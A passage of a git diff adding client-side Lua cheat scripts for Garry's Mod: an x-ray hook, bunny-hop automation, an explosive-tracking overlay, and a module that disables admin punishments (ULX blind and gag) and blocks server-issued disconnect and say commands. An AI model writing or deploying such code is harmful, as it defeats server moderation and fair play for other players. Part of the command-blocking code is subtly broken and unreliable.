v:SetMaterial(WhatMat:GetString()) + end + end + end +end +hook.Add("RenderScene", "NewXrayVision3", DoPoKiRay) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua new file mode 100644 index 0000000..a2a8317 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FZoom.lua @@ -0,0 +1,97 @@ + + +local FalcoZoom = false +local ZoomHowMuch = 1 +local ZoomStep = 5 +local Extrazoom = 0 +local OldSensitivity = "8" --GetConVarString("sensitivity") + +local function SetZoom(amt) + LocalPlayer():ConCommand("sensitivity "..amt) +end + + +local function ZoomCalc(ply,origin,angles,fov) + if FalcoZoom then + local view = {} + view.origin = ply:GetShootPos() - LocalPlayer():GetAimVector():Angle():Forward() * - Extrazoom + view.angles = LocalPlayer():EyeAngles() + view.fov = ZoomHowMuch + + return view + end +end +hook.Add("CalcView", "ZoomCalc", ZoomCalc) + + +local function ChangeSensitivity() + if Extrazoom > 99 and Extrazoom < 1000 then + SetZoom( tostring(1 -(((90 - ZoomHowMuch) + (Extrazoom/1000)) / 100)) ) + elseif Extrazoom > 999 and Extrazoom < 10000 then + SetZoom( tostring( 1 -(((90 - ZoomHowMuch) + (Extrazoom/10000)) / 100)) ) + elseif Extrazoom > 9999 then + SetZoom("0.01") + elseif Extrazoom < 99 then + SetZoom( tostring(1 -(((90 - ZoomHowMuch) + (Extrazoom/100)) / 100)) ) + end +end + + +local function FZoomToggle(ply,cmd,args) + if cmd == "+fzoom" then + if Extrazoom > 0 then + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + else + surface.PlaySound("weapons/sniper/sniper_zoomin.wav") + ChangeSensitivity() + end + else + SetZoom(OldSensitivity) + end + FalcoZoom = not FalcoZoom +end +concommand.Add("+fzoom", FZoomToggle) +concommand.Add("-fzoom", FZoomToggle) + + +local function ChangeZoom(ply,bnd,pressed) + if FalcoZoom and pressed then + if string.find(bnd, "invprev") and pressed then + if ZoomHowMuch > 1 then + ZoomHowMuch = ZoomHowMuch - ZoomStep + ChangeSensitivity() + surface.PlaySound("weapons/sniper/sniper_zoomin.wav") + else + Extrazoom = Extrazoom + ZoomStep*200 + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + end + return true + + elseif string.find(bnd, "invnext") and pressed then + if ZoomHowMuch < 90 and Extrazoom > 0 then + Extrazoom = Extrazoom - ZoomStep*200 + ChangeSensitivity() + surface.PlaySound("npc/scanner/cbot_servoscared.wav") + elseif ZoomHowMuch < 90 and Extrazoom == 0 then + ZoomHowMuch = ZoomHowMuch + ZoomStep + ChangeSensitivity() + surface.PlaySound("weapons/sniper/sniper_zoomout.wav") + end + return true + + elseif string.find(bnd, "reload") and pressed then + ZoomHowMuch = 11 + Extrazoom = 0 + ChangeSensitivity() + surface.PlaySound("npc/sniper/reload1.wav") + return true + + end + end +end +hook.Add("PlayerBindPress", "ChangeZoom", ChangeZoom) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua new file mode 100644 index 0000000..5c8b7a0 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FixAndRemove.lua @@ -0,0 +1,266 @@ + + +--- === CRAP ADDONS === --- +local Hooks = { + {H = "PostDrawOpaqueRenderables", N = "threed.PaintHook", D = "Threed"}, + {H = "HUDPaint", N = "wiremod_installed_improperly_popup", D = "Wiremod"}, + {H = "HUDPaint", N = "ulx_blind", D = "ULX"}, + {H = "HUDShouldDraw", N = "qHUDHideHud", D = "QHUD"}, + {H = "HUDPaint", N = "qHUD", D = "QHUD"}, + {H = "HUDPaint", N = "qHUDBase", D = "QHUD"}, + {H = "PlayerInitialSpawn", N = "PlayerSpawn", D = "QHUD"}, + {H = "CalcView", N = "WobbleMan CalcView"}, +} +local Funcs = { + ["ASS_ShouldShowNoticeBar"] = FALSE, + ["GAMEMODE.ASS_HideNoticeBar"] = TRUE, + ["dermarules"] = Useless, + ["stopit"] = Useless, + ["MOTD"] = Useless, + ["RaveDraw"] = Useless, + ["RaveBreak"] = Useless, + ["StealCheats"] = Useless, + ["boot_rules"] = Useless, +} +local Timers = { + "Wire_UpdateNotification_Timer", + "Wire_WMenu_Think", +} +local CVars = { + ["Wire_Welcome_Menu_Blocked"] = 1, + ["Wire_Welcome_Menu_HideUpdateNotification"] = 1, + ["playx_enabled"] = 0, +} +local Commands = { + "Wire_Welcome_Menu", + "MOTDRun", +} +local Messages = { + "ulx_gag", + "ulx_blind", + "StopIt", +} +local Effects = { + "acf_muzzleflash", + "acf_bulleteffect", + "dof_node", + "propspawn", +} + + + + +local EFFECT = { + Init = TRUE, + Think = TRUE, + Render = TRUE, +} +function HeX.RemoveCrapAddons() + if threed then + threed.Active = false + end + if PlayX then + PlayX.Enabled = false + end + if ulx then + ulx.addAdvert = Useless + ulx.blindUser = Useless + ulx.gagUser = Useless + ulx.blind = Useless + ulx.showMotdMenu = Useless + ulx.rcvMotd = Useless + end + + + + for k,v in pairs(Hooks) do --Hooks + local Hook = v.H + local Name = v.N + local Desc = v.D or "Generic" + local BaseHook = hook.GetTable()[Hook] + + if BaseHook then + local func = BaseHook[Name] + + if func then + hook.Remove(Hook, Name) + printDelay( Format("[HeX] BadHook %s=%s-%s", Desc, Hook, Name) ) + func = Useless + end + end + end + + for k,v in pairs(Funcs) do + if (_G[k] and _G[k] != v) then + _G[k] = v + printDelay("[HeX] BadFunc: "..k) + end + end + + for k,v in pairs(Timers) do + if timer.IsTimer(v) then + timer.Destroy(v) + printDelay("[HeX] BadTimer: "..v) + end + end + + for k,v in pairs(CVars) do + if GetConVar(v) then + HeXLRCL( Format("%s %s", k,v) ) + end + end + + for k,v in pairs(Commands) do + concommand.Add(v, function() + printDelay("[HeX] BadCommand: "..v) + end) + end + + for k,v in pairs(Messages) do + usermessage.Hook(v, function() + printDelay("[HeX] BadUserMessage: "..v) + end) + end + + for k,v in pairs(Effects) do + effects.Register(EFFECT, v) + effects.Register(EFFECT, v) + end +end +timer.Simple(1, HeX.RemoveCrapAddons) +HeX.RemoveCrapAddons() + + +function HeX.FixEffects() + HeX.RemoveCrapAddons() + + for k,v in pairs(Effects) do + effects.Register(EFFECT, v) + effects.Register(EFFECT, v) + end +end +hook.Add("InitPostEntity", "HeX.FixEffects", HeX.FixEffects) +--- === /CRAP ADDONS === --- + + + + +---Fuck you, this is NOT what ErrorNoHalt is for--- +local NoError = { + ["Adding Client ChatBubble Hooks.."] = true, + ["Done!\n"] = true, +} + +local function ErrorNoHalt(...) + local Args = {...} + Args = Args[1] or "" + + if NoError[ Args ] then + printDelay("[HeX] BadError: "..Args) + return + end + + return ErrorNoHaltOld(...) +end +HeX.Detour.Global("_G", "ErrorNoHalt", ErrorNoHalt) + + + +--- Always show "X" button on shitty MOTD's --- +local function vguiCreate(...) + if not vgui.LoadedHeXVersion then + vgui.LoadedHeXVersion = true + + print("[OK] First vgui.Create, overriding DFrame") + HeX.include("HeX/hx_DFrame.lua") + end + + --vgui.Create = vgui.CreateOld + --HeX.Detour.Saved["vgui.Create"] = nil + local self = vgui.CreateOld(...) + local info = debug.getinfo(2) + self.Maker = (info and info.short_src or "Gone") + + return self +end +HeX.Detour.Global("vgui", "Create", vguiCreate) + +function HeX.TellDFrameOrigin(self,PANEL) + print("! close: ", self.Maker) +end +hook.Add("HeXCloseDFrame", "HeX.TellDFrameOrigin", HeX.TellDFrameOrigin) + + +function HeX.CloseAllPanels(ply,cmd,args) + if not derma.GetAll then + print("[ERR] derma.GetAll gone!") + return + end + + local tot = 0 + for k,v in pairs( derma.GetAll ) do + if v and v:IsValid() then + print("[OK] Closed "..tostring(v).." from: ", v.Maker) + v:Close() + end + end + gui.EnableScreenClicker(false) + + print("[OK] Closed "..tot.." panels!") +end +concommand.Add("hex_closeall", HeX.CloseAllPanels) + + + +--- No disconnect --- +if (HeXGlobal_AC or HACInstalled) then + printDelay("[WRN] FixAndRemove: Not loading PCC/RCC checker, AC!") +else + local BlockPCC = { + "disconnect", + "connect ", + "say ", + "say_team ", + } + + local function ConCommand(self,cmd) + local Found,IDX,str = cmd:InTable(BlockPCC) + + if Found then + printDelay( Format("[HeX] Bad PCC: '%s' [%s:%s]", cmd, HeX.MyCall() ) ) + return + end + + return self:ConCommandOld(cmd) + end + HeX.Detour.Meta("Player", "ConCommand", ConCommand) + + + + local BlockRCC = { + "disconnect", + "connect", + "say", + "say_team", + } + + local function ConsoleCommand(...) + local Args = {...} + Args = Args[1] or "" + + if BlockRCC[ Args ] then + printDelay( Format("[HeX] Bad RCC: '%s' [%s:%s]", cmd, HeX.MyCall() ) ) + return + end + + return RunConsoleCommandOld(...) + end + HeX.Detour.Global("_G", "RunConsoleCommand", ConsoleCommand) +end + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua new file mode 100644 index 0000000..e3be553 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_GANFix.lua @@ -0,0 +1,149 @@ + + +if (HSP and OldNotify) then + printDelay("[HeX] GANFix already installed, skipping..") + return +end + + +surface.CreateFont("Verdana", 15, 600, true, false, "GModNotify2") + +NOTIFY_GENERIC = 0 -- > +NOTIFY_ERROR = 1 -- ! +NOTIFY_UNDO = 2 -- << +NOTIFY_HINT = 3 -- ? +NOTIFY_CLEANUP = 4 -- * + +local NoticeMaterial = { + [NOTIFY_GENERIC] = surface.GetTextureID("vgui/notices/oldgeneric"), + [NOTIFY_ERROR] = surface.GetTextureID("vgui/notices/olderror"), + [NOTIFY_UNDO] = surface.GetTextureID("vgui/notices/oldundo"), + [NOTIFY_HINT] = surface.GetTextureID("vgui/notices/oldhint"), + [NOTIFY_CLEANUP] = surface.GetTextureID("vgui/notices/oldcleanup"), +} + +local HUDNote_c = 0 +local HUDNote_i = 1 +local HUDNotes = {} + +function OldNotify(GAMEMODE,str,type,length) + local tab = {} + tab.text = str or "Fuckup!" + tab.recv = SysTime() + tab.len = length or 0 + tab.velx = -5 + tab.vely = 0 + tab.x = ScrW() + 200 + tab.y = ScrH() + tab.a = 255 + tab.type = type or NOTIFY_ERROR + + table.insert( HUDNotes, tab ) + + HUDNote_c = HUDNote_c + 1 + HUDNote_i = HUDNote_i + 1 +end + + +timer.Simple(1, function() + if notification then + notification.AddLegacy = function(str,typ,len) + OldNotify(nil,str,typ,len) + end + end + if GAMEMODE then + GAMEMODE.AddNotify = OldNotify + end +end) + + + +local function DrawOldNotice(self,k,v,i) + local H = ScrH() / 1024 + local x = v.x - 75 * H + local y = v.y - 300 * H + + if ( !v.w ) then + surface.SetFont( "GModNotify2" ) + v.w, v.h = surface.GetTextSize( v.text ) + end + + local w = v.w + local h = v.h + + w = w + 16 + h = h + 16 + + draw.RoundedBox( 4, x - w - h + 8, y - 8, w + h, h, Color( 30, 30, 30, v.a * 0.4 ) ) + + // Draw Icon + surface.SetDrawColor( 255, 255, 255, v.a ) + surface.SetTexture( NoticeMaterial[ v.type ] ) + surface.DrawTexturedRect( x - w - h + 16, y - 4, h - 8, h - 8 ) + + draw.SimpleText( v.text, "GModNotify2", x+1, y+1, Color(0,0,0,v.a*0.8), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x-1, y-1, Color(0,0,0,v.a*0.5), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x+1, y-1, Color(0,0,0,v.a*0.6), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x-1, y+1, Color(0,0,0,v.a*0.6), TEXT_ALIGN_RIGHT ) + draw.SimpleText( v.text, "GModNotify2", x, y, Color(255,255,255,v.a), TEXT_ALIGN_RIGHT ) + + local ideal_y = ScrH() - (HUDNote_c - i) * (h + 4) + local ideal_x = ScrW() + local timeleft = v.len - (SysTime() - v.recv) + + // Cartoon style about to go thing + if ( timeleft < 0.8 ) then + ideal_x = ScrW() - 50 + end + + // Gone! + if ( timeleft < 0.5 ) then + ideal_x = ScrW() + w * 2 + end + + local spd = RealFrameTime() * 15 + + v.y = v.y + v.vely * spd + v.x = v.x + v.velx * spd + + local dist = ideal_y - v.y + v.vely = v.vely + dist * spd * 1 + if (math.abs(dist) < 2 && math.abs(v.vely) < 0.1) then v.vely = 0 end + local dist = ideal_x - v.x + v.velx = v.velx + dist * spd * 1 + if (math.abs(dist) < 2 && math.abs(v.velx) < 0.1) then v.velx = 0 end + + // Friction.. kind of FPS independant. + v.velx = v.velx * (0.95 - RealFrameTime() * 8 ) + v.vely = v.vely * (0.95 - RealFrameTime() * 8 ) +end + + +local function OldPaintNotes() + if (!HUDNotes) then return end + local i = 0 + + for k, v in pairs(HUDNotes) do + if ( v != 0 ) then + i = i + 1 + DrawOldNotice(GAMEMODE,k,v,i) + end + end + + for k, v in pairs(HUDNotes) do + if ( v != 0 && v.recv + v.len < SysTime() ) then + HUDNotes[ k ] = 0 + HUDNote_c = HUDNote_c - 1 + + if (HUDNote_c == 0) then + HUDNotes = {} + end + end + end +end +hook.Add("HUDPaint", "OldNotify", OldPaintNotes) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua new file mode 100644 index 0000000..020abcb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_HEV.lua @@ -0,0 +1,190 @@ + + +local Enabled = CreateClientConVar("hev_enabled", 1, true, false) + +local ToTrack = { + ["ent_mad_c4"] = {Name = "C4 Bomb", Owner = true, Always = true}, + ["nuke_missile"] = {Name = "Atomic bomb", Owner = true, Always = true, Color = RED}, + ["uh_bb_missile"] = {Name = "Heat-seeking missile", Always = true, Color = ORANGE}, + ["rpg_missile"] = {Name = "Missile", Always = true}, + ["npc_grenade_frag"] = {Name = "Frag", Always = true}, + ["grenade_ar2"] = {Name = "SMG Grenade", Always = true}, + ["npc_tripmine"] = {Name = "Tripmine", Owner = true, NoFeet = true, NoMe = true, Always = true}, + ["crossbow_bolt"] = {Name = "Crossbow Bolt", Always = true}, + ["prop_combine_ball"] = {Name = "High Energy Pellet", Always = true}, + ["weapon_nuke"] = {Name = "Nuke launcher", Color = RED}, + + ["weapon_rpg"] = {Name = "RPG", NoFeet = true, Color = GREEN2}, + ["weapon_slam"] = {Name = "SLAM", NoFeet = true, Color = RED2}, +} + +for k,v in pairs(ToTrack) do + CreateClientConVar("hev_show_"..k, 1, true, false) +end + + + +local function Time(raw) + if not raw then return "0:00" end + + local Time = "" + local Min = 0 + local Sec = 0 + raw = math.floor(raw) + + if raw < 0 then + raw = -raw + end + + if raw > 59 then + Min = math.floor(raw/60) + Sec = raw - ( math.floor(raw/60)*60 ) + + if Sec < 10 then + Sec = "0"..Sec + end + Time = Format("%s:%s", Min, Sec) + else + Time = raw.." Seconds" + end + + return Time +end + + +local SetNick = false +local function GetOwnerNick(ent,NoMe) + if not SetNick then + SetNick = LocalPlayer():Nick() --Less lag calling all the time + end + + local Nick = "N/A" + local Col = YELLOW2 + local Owner = ent:GetNetworkedEntity("OwnerObj", false) + + if (ValidEntity(Owner) and Owner:IsPlayer()) then + Nick = Owner:Nick() + Col = Owner:TeamColor() + else + Owner = ent:GetNetworkedString("Owner", "N/A") + + if type(Owner) == "string" then + Nick = Owner + + elseif (ValidEntity(Owner) and Owner:IsPlayer()) then + Nick = Owner:Nick() + Col = Owner:TeamColor() + end + end + + if (Nick == "N/A" or Nick == "World") then + return false, Col + + elseif (Nick == SetNick and NoMe) then --No! + return false, YELLOW2 + end + + return Nick, Col +end + + +local TEXT_ALIGN_CENTER = TEXT_ALIGN_CENTER +function HeX.ShowHEV() + if not Enabled:GetBool() then return end + + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + local egc = v:GetClass() + local Tab = ToTrack[ egc ] + + if Tab then + local CanMove = (v:GetMoveType() != 0) + if (Tab.Always or false) then + CanMove = true + end + + if CanMove and GetConVar("hev_show_"..egc):GetBool() then + local Pos = v:LocalToWorld( v:OBBCenter() ):ToScreen() + local Name = Tab.Name + local Col = Tab.Color or YELLOW2 + local Owner = Tab.Owner + local NoFeet = Tab.NoFeet + local NoMe = Tab.NoMe + + local XPos = Pos.x + local YPos = Pos.y - 35 * ( ScrH() / ScrW() ) + local text_font = "Marlett" + surface.SetFont(text_font) + + + local Width,Height = surface.GetTextSize("6") --Arrow + draw.DrawText("6", text_font, XPos, YPos, Col, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + if not NoFeet then + local DISTANCE = math.Round(LocalPlayer():GetPos():Distance( v:GetPos() ) / 12).." ft" + Width,Height = surface.GetTextSize(DISTANCE) --DISTANCE + YPos = YPos - Height + draw.DrawText(DISTANCE, text_font, XPos, YPos, Col, TEXT_ALIGN_CENTER) + end + + local C4Count = v.C4CountDown + if (C4Count) then + local C4Time = 0 + local C4Color = RED2 + + if (C4Count >= 15) then + C4Color = GREEN + C4Time = Time(C4Count) + + elseif (C4Count != 0 and C4Count < 15) then + C4Color = RED2 + C4Time = C4Count.." Seconds" + + else + C4Color = RED2 + C4Time = "You're fucked!" + end + + Width,Height = surface.GetTextSize(C4Time) --C4 + YPos = YPos - Height + draw.DrawText(C4Time, text_font, XPos, YPos, C4Color, TEXT_ALIGN_CENTER) + end + + if Owner then + local Own,TeamC = GetOwnerNick(v,NoMe) + if Own then + Width,Height = surface.GetTextSize(Own) --Owner + YPos = YPos - Height + draw.DrawText(Own, text_font, XPos, YPos, TeamC, TEXT_ALIGN_CENTER) + end + end + + Width, Height = surface.GetTextSize(Name) --Name + YPos = YPos - Height + draw.DrawText(Name, text_font, XPos, YPos, color_white, TEXT_ALIGN_CENTER) + end + end + end + end +end + + + +timer.Simple(1, function() + if (HSP and HSP.ShowHEV) then + hook.Remove("HUDPaint", "HSP.ShowHEV", HSP.ShowHEV) + print("[HeX] Removed HSP.ShowHEV, loading custom") + end + + hook.Add("HUDPaint", "HeX.ShowHEV", HeX.ShowHEV) +end) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua new file mode 100644 index 0000000..bcbbe65 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Hopper.lua @@ -0,0 +1,41 @@ + + +local ChatOpen = false +local BadMove = { + [MOVETYPE_NONE] = true, + [MOVETYPE_FLY] = true, + [MOVETYPE_FLYGRAVITY] = true, + [MOVETYPE_PUSH] = true, + [MOVETYPE_NOCLIP] = true, + [MOVETYPE_LADDER] = true, + [MOVETYPE_OBSERVER] = true, +} + + +local Key = input.IsKeyDown +local function Hopper(cmd) + if ChatOpen then return end + if not (Key(KEY_SPACE) and (Key(KEY_LSHIFT) or Key(KEY_LCONTROL))) then return end + + local ply = LocalPlayer() + if (ply:WaterLevel() > 0) or BadMove[ ply:GetMoveType() ] then return end + + local butt = cmd:GetButtons() + if ply:OnGround() then + cmd:SetButtons(butt | IN_JUMP) + else + cmd:SetButtons(butt - IN_JUMP) + end +end +hook.Add("CreateMove", "Hopper", Hopper) + + +hook.Add("StartChat", "Hopper_ChatOpen", function() ChatOpen = true end) +hook.Add("FinishChat", "Hopper_ChatClose", function() ChatOpen = false end) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua new file mode 100644 index 0000000..51fc8d5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Info.lua @@ -0,0 +1,37 @@ + + + +local function ThatEnt() + return LocalPlayer():GetEyeTrace().Entity +end + + + +concommand.Add("propinfo", function() + local ent = ThatEnt() + if not ValidEntity(ent) then return end + + print(ent) + + print("Model: ", ent:GetModel() ) + print("Position: ", ent:GetPos() ) + print("Color: ", ent:GetColor() ) + print("Material: ", ent:GetMaterial() ) + print("Angle: ", ent:GetAngles() ) + print("Size: ", ent:OBBMaxs() - ent:OBBMins() ) +end ) + + + +concommand.Add("copymat", function() + local ent = ThatEnt() + if not ValidEntity(ent) then return end + local mat = ent:GetMaterial() + + print("Material: ", mat) + SetClipboardText(mat) + RunConsoleCommand("material_override", mat) +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua new file mode 100644 index 0000000..4c3415a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_Language.lua @@ -0,0 +1,186 @@ + + + +local function AddKillicon(class, material) + killicon.Add(class,material,KIRED) +end + +timer.Simple(0.3, function() + killicon.AddFont("prop_physics", "HL2MPTypeDeath", ",", KIRED) + killicon.AddFont("prop_physics_multiplayer", "HL2MPTypeDeath", ",", KIRED) + killicon.AddFont("prop_physics_override", "HL2MPTypeDeath", ",", KIRED) + + killicon.AddFont("weapon_deagle", "CSKillIcons", "f", KIRED) + killicon.AddFont("weapon_m4", "CSKillIcons", "w", KIRED) +end) + + +//NPCs + +//Combine robots +killicon.Add("npc_rollermine", "HUD/killicons/npc_rollermine", color_white) --Done +killicon.Add("npc_manhack", "HUD/killicons/npc_manhack", color_white) --Done +killicon.Add("npc_cscanner", "HUD/killicons/npc_cscanner", color_white) --Done + +//Headcrabs +killicon.Add("npc_headcrab", "HUD/killicons/npc_headcrab", color_white) --Done +killicon.Add("npc_headcrab_fast", "HUD/killicons/npc_headcrab_fast", color_white) --Done + +//Zombies +killicon.Add("npc_zombie", "HUD/killicons/npc_zombie", color_white) --Done +killicon.Add("npc_zombie_torso", "HUD/killicons/npc_zombie_torso", color_white) --Done +killicon.Add("npc_fastzombie", "HUD/killicons/npc_fastzombie", color_white) --Done +killicon.Add("npc_poisonzombie", "HUD/killicons/npc_poisonzombie", color_white) --Done + +//Antlions +killicon.Add("npc_antlion", "HUD/killicons/npc_antlion", color_white) --Done +killicon.Add("npc_antlionguard", "HUD/killicons/npc_antlionguard", color_white) --Done + +//Others +killicon.Add("npc_barnacle", "HUD/killicons/npc_barnacle", color_white) --Done +killicon.Add("npc_vortigaunt", "HUD/killicons/npc_vortigaunt", color_white) --Unused + +//Non-Default NPCs +killicon.Add("npc_strider", "HUD/killicons/npc_strider", color_white) --Done +killicon.Add("npc_helicopter", "HUD/killicons/npc_helicopter", color_white) --Unused +killicon.Add("npc_combinegunship", "HUD/killicons/npc_combinegunship", color_white) --Done +killicon.Add("npc_turret_floor", "HUD/killicons/npc_turret_floor", color_white) --Done +killicon.Add("npc_stalker", "HUD/killicons/npc_stalker", color_white) --Unused +--killicon.Add("combine_mine", "HUD/killicons/combine_mine", color_white) --Unused + +//Not NPCs + +//Weapons +killicon.Add("weapon_alyxgun", "HUD/killicons/weapon_alyxgun", color_white) --Done +killicon.Add("weapon_annabelle", "HUD/killicons/weapon_annabelle", color_white) --Squashed +killicon.Add("weapon_citizenpackage", "HUD/killicons/weapon_citizenpackage", color_white) --Done +killicon.Add("weapon_citizensuitcase", "HUD/killicons/weapon_citizensuitcase", color_white)--Done + +//Props +killicon.Add("prop_ragdoll", "HUD/killicons/prop_ragdoll", color_white) --Done + +//Damaging +--killicon.Add("env_explosion", "HUD/killicons/env_explosion", color_white) --Done +killicon.Add("gmod_dynamite", "HUD/killicons/env_explosion" , color_white) --Dynamite +--killicon.Add("entityflame", "HUD/killicons/entityflame", color_white) --Done + +//Vehicles +killicon.Add("prop_vehicle_jeep", "HUD/killicons/prop_vehicle_jeep", color_white) --Done +killicon.Add("prop_vehicle_airboat", "HUD/killicons/prop_vehicle_airboat", color_white) --Done +killicon.Add("prop_vehicle_prisoner_pod", "HUD/killicons/prop_vehicle_prisoner_pod", color_white) --Small + + +killicon.AddFont("trigger_hurt", "HL2MPTypeDeath", "5", KIRED) + +--gravgun killicon +killicon.AddFont("weapon_physcannon", "HL2MPTypeDeath", ",", KIRED) +killicon.AddFont("func_physbox", "HL2MPTypeDeath", ",", KIRED) +killicon.AddFont("func_physbox_multiplayer", "HL2MPTypeDeath", ",", KIRED) + + +killicon.AddFont("gmod_turret", "HL2MPTypeDeath", "/", Color(192, 0, 192, 255)) --purple + +--acid +killicon.Add("grenade_spit", "killicons/grenade_spit_killicon", GREEN2) --green +killicon.Add("AcidGrenade", "killicons/grenade_spit_killicon", GREEN2) --green + + +--fire +AddKillicon("env_fire","killicons/env_fire_killicon") +AddKillicon("entityflame","killicons/env_fire_killicon") + +--floor +AddKillicon("worldspawn","killicons/worldspawn_killicon") +AddKillicon("World","killicons/worldspawn_killicon") + +--boom +AddKillicon("env_explosion","killicons/env_explosion_killicon") +AddKillicon("env_physexplosion","killicons/env_explosion_killicon") + +--doors +AddKillicon("func_door","killicons/func_door_killicon") +AddKillicon("func_door_rotating","killicons/func_door_killicon") +AddKillicon("prop_door_rotating","killicons/func_door_killicon") +AddKillicon("func_rotating","killicons/func_door_killicon") +AddKillicon("func_rotate","killicons/func_door_killicon") + +--gravestone +AddKillicon("gravestone","killicons/gravestone_killicon") +AddKillicon("player","killicons/gravestone_killicon") + +--suicide +AddKillicon("suicide","killicons/suicide_killicon") + + +--weapons +killicon.Add("ent_mad_c4", "vgui/entities/weapon_mad_c4", color_white) --white +killicon.Add("hunter_flechette", "killicons/hunter_flechette_killicon", GREEN2) --green +killicon.AddFont("weapon_sniper","CSKillIcons","r", GREEN2) --green +killicon.AddFont("suicide_deagle", "CSKillIcons", "f", GREEN2) --green +killicon.AddFont("weapon_stridercannon", "HL2MPTypeDeath", "3", GREEN2) --green +killicon.AddFont("flechette_awp","CSKillIcons","r",GREEN2) --green +killicon.Add("weapon_acidshotgun", "killicons/grenade_spit_killicon", GREEN2) --green +killicon.AddFont("weapon_bulletnade", "HL2MPTypeDeath", "5", GREEN2) --green +killicon.AddFont("bullet_grenade", "HL2MPTypeDeath", "5", GREEN2) --green +--KH +killicon.AddFont("boomstick", "HL2MPTypeDeath", "0", GREEN2) --green +killicon.AddFont("kh_smg", "HL2MPTypeDeath", "/", GREEN2) --green +killicon.AddFont("plasma_rifle", "HL2MPTypeDeath", "2", GREEN2) --green +killicon.AddFont("sent_plasma", "HL2MPTypeDeath", "8", GREEN2) --green +--tripmines +killicon.AddFont("npc_tripmine", "HL2MPTypeDeath", "*", KIRED) +killicon.AddFont("npc_satchel", "HL2MPTypeDeath", "*", KIRED) + + + +language.Add("trigger_hurt", "God") +language.Add("World", "Gravity") +language.Add("worldspawn", "Gravity") + +language.Add("plasma_rifle", "Plasma Rifle") +language.Add("sent_plasma", "Plasma Bomb") + +language.Add("cycler_actor", "NPC") +language.Add("point_hurt", "NPC") +language.Add("npc_antlion_worker", "AcidLiON") +language.Add("grenade_spit", "Acid Spit") +language.Add("hunter_flechette", "Flechettes") +language.Add("item_item_crate", "Item Crate") +language.Add("env_explosion", "Dat Blast") +language.Add("env_physexplosion", "Dat Blast") +language.Add("entityflame", "Fire") +language.Add("env_fire", "Fire") +language.Add("env_laser", "Laz0r") +language.Add("env_beam", "Laz0r") +language.Add("func_door", "The Door") +language.Add("func_door_rotating", "The Door") +language.Add("prop_door_rotating", "The Door") +language.Add("func_rotating", "The Door") +language.Add("func_rotate", "The Door") +language.Add("func_tracktrain", "Fuckin' Railway") +language.Add("gmod_balloon", "Fuckin' Balloon") +language.Add("gmod_spawner", "Prop Spawner") +language.Add("gmod_thruster", "Rocket Engine") +language.Add("gmod_turret", "GMod Gun Turret") +language.Add("item_healthvial", "Health Vial (?!)") +language.Add("npc_bullseye", "Some Kinda Trigger") +language.Add("npc_clawscanner", "Claw Scanner") +language.Add("npc_grenade_frag", "Frag Grenade") +language.Add("npc_helicopter", "Combine Choppa") +language.Add("phys_magnet", "Fuckin' Magnet") +language.Add("prop_combine_ball", "Combine Energy Ball") +language.Add("prop_physics_multiplayer", "Multiplayer Physics Prop") +language.Add("prop_ragdoll_attached", "Ragdoll") +language.Add("prop_vehicle_apc", "Combine APC") +language.Add("prop_vehicle_jeep", "Jeep") +language.Add("prop_vehicle_pod", "The Chair") +language.Add("prop_vehicle_prisoner_pod", "The Chair") +language.Add("weapon_striderbuster", "Magnusson Device") +language.Add("func_physbox", "Physbox") +language.Add("func_physbox_multiplayer", "Physbox") + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 